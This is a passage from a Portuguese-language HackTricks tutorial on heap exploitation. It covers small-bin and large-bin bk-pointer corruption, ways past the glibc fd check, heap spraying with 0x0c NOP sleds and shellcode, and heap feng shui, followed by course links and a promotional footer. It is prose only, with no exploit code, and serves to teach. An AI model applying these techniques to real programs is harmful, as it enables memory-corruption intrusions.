O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tenha um pedaço liberado e em seu bin abaixo, podemos alterar seu ponteiro bk. Ao alterar o ponteiro bk e se esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o próximo pedaço da lista está na falsa direção que escolhemos (como stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, um pedaço na posição desejada será fornecido e poderá ser escrito.
Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos unsorted bins e seja inserido em seu bin.
Uma vez no bin, é hora de modificar o ponteiro bk através do overflow para que aponte para o endereço que desejamos sobrescrever.
Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está na direção falsa. Em seguida, o pedaço desejado será fornecido.
Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reservar o pedaço vulnerável, reservar o pedaço a ser modificado, liberar esse pedaço, reservar um pedaço maior do que o a ser modificado, modificar o pedaço (vulnerabilidade), reservar um pedaço do mesmo tamanho do vulnerado e reservar um segundo pedaço do mesmo tamanho, que apontará para o endereço escolhido.
Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para a vítima. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço correto da vítima. Para que pareça um pedaço verdadeiro.
**Corrupção LargeBin**
São necessários os mesmos requisitos que antes e alguns adicionais, além disso, os pedaços reservados devem ser maiores que 512.
O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.
Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
**Heap Spraying**
Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. Assim, tenta-se saltar para o endereço 0x0c0c0c0c e, se alguma direção for sobrescrita com esse colchão, o controle será transferido para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c, esperando que haja nops lá.
**Heap Feng Shui**
Consiste em semear a memória por meio de reservas e liberações para que pedaços reservados fiquem entre pedaços livres. O buffer a ser estourado será colocado em um desses pedaços.
## Cursos Interessantes
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referências**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>Aprenda hacking AWS do zero ao hero com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>